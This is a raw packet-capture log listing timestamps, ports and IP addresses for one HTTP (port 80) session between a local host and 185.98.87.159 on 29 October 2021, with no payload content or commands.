Oct 29, 2021 20:11:02.605565071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605578899 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605585098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605606079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605607033 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605626106 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605649948 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605659008 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605690002 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.605746031 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605832100 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605907917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.605952024 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.606060982 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606108904 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.606162071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606276989 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606405020 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606457949 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.606513977 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606556892 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.606596947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606715918 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606765985 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.606833935 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.606964111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607112885 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607160091 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.607240915 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607280970 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.607320070 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607341051 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607362032 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607382059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607400894 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.607400894 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607422113 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607431889 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.607441902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607459068 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.607462883 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607482910 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.607507944 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659596920 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659621954 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659641027 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659658909 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659672976 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659693003 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659713984 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659733057 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659749031 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659766912 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659768105 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659786940 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659805059 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659806013 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659823895 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659830093 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659842014 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659859896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659866095 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659900904 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659910917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659929037 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659948111 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659965038 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659967899 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.659982920 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.659996986 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.660001993 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660018921 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660037041 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660046101 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.660068989 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660077095 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.660548925 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660568953 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660587072 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660604000 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.660605907 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660640001 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.660650015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660667896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660686016 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.660686016 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.660725117 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.660783052 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712080002 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712132931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712172031 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712204933 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712212086 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712243080 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712251902 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712290049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712292910 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712328911 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712367058 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712404013 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712404966 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712443113 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712443113 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712479115 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712517023 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712542057 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712554932 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712591887 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712596893 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712630987 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712668896 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712685108 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712708950 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712749958 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712785959 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712819099 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712824106 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712858915 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.712889910 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712929964 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712965965 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.712980032 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713004112 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713011026 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713042974 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713080883 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713128090 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713140965 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713165045 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713182926 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713205099 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713243008 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713263035 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713280916 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713320017 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713357925 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713359118 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713393927 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713395119 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713437080 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713538885 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713577986 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713587046 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713617086 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713639975 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713654995 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.713690996 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.713695049 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.765958071 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766000032 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766022921 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766045094 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766060114 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766067982 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766091108 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766092062 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766113043 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766113997 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766135931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766158104 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766180038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766180992 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766202927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766210079 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766226053 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766237020 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766247988 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766275883 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766289949 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766298056 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766320944 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766341925 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766360044 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766364098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766386032 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766391039 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766408920 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766432047 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766433001 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766454935 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766469002 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766478062 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766499996 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766521931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766539097 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766544104 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766566038 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766570091 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766588926 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766609907 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766612053 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766633034 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766649961 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766655922 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766678095 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766700029 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766716003 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766721964 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766745090 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766747952 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766767979 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766789913 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766792059 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766814947 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766828060 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.766838074 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.766956091 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.818974972 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819011927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819065094 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819092989 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819120884 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819148064 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819175005 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819195032 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819204092 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819216967 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819231033 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819258928 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819272995 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819288015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819305897 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819314003 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819374084 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819405079 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819434881 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819461107 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819489002 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819490910 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819516897 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819530010 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819544077 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819581032 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819713116 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819741964 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819770098 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819797039 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819797993 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819824934 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819837093 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819853067 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819880962 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819907904 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819925070 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819935083 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819962978 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819963932 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.819989920 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.819999933 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820019007 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820045948 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820063114 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820075035 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820102930 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820130110 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820143938 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820158958 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820183992 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820187092 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820215940 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820230961 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820245028 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820271015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820285082 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820301056 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820327997 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820354939 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820374012 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820383072 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820408106 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820410013 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820437908 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820461035 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820466042 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820491076 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820518970 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820533991 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820545912 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820568085 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820573092 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820600986 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820616007 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820626974 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820655107 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820676088 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820683956 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820709944 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820736885 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820753098 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820765018 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820791006 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820791960 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820820093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.820828915 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.820863008 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.822345018 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873333931 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873359919 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873372078 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873383999 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873400927 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873418093 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873434067 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873441935 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873450041 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873466015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873481035 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873482943 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873498917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873506069 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873514891 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873522997 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873550892 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873553038 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873567104 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873581886 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873598099 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873613119 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873620033 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873630047 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873645067 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873646021 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873661995 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873677015 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873677015 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873692989 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873709917 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873713970 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873727083 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873728037 CEST	49839	80	192.168.2.5	185.98.87.159
Oct 29, 2021 20:11:02.873744011 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873760939 CEST	80	49839	185.98.87.159	192.168.2.5
Oct 29, 2021 20:11:02.873776913 CEST	80	49839	185.98.87.159	192.168.2.5
